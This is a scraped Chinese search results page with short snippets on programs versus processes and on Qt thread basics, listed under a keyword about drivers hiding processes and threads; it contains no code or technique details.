  • 程序程序:一组指令以及参数集合,按照相应的逻辑控制计算机完成特性任务(一个...静态的,封闭的进程程序 -------运行-------》进程1,进程2,进程3,…进程:运行的程序,(动态),(1)动态(2)有生命周期(3)运行状态(...
  • Qt 之线程基础

    万次阅读 多人点赞 2016-07-27 17:42:27
    何为线程线程与并行处理任务息息相关,就像进程一样。那么,线程进程有什么区别呢?当你在电子表格上进行数据计算的时候,在相同的桌面上可能有一个播放器正在播放你最喜欢的歌曲。这是一个两个进程并行工作的例子...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 25,901
精华内容 10,360
关键字:

驱动隐藏进程线程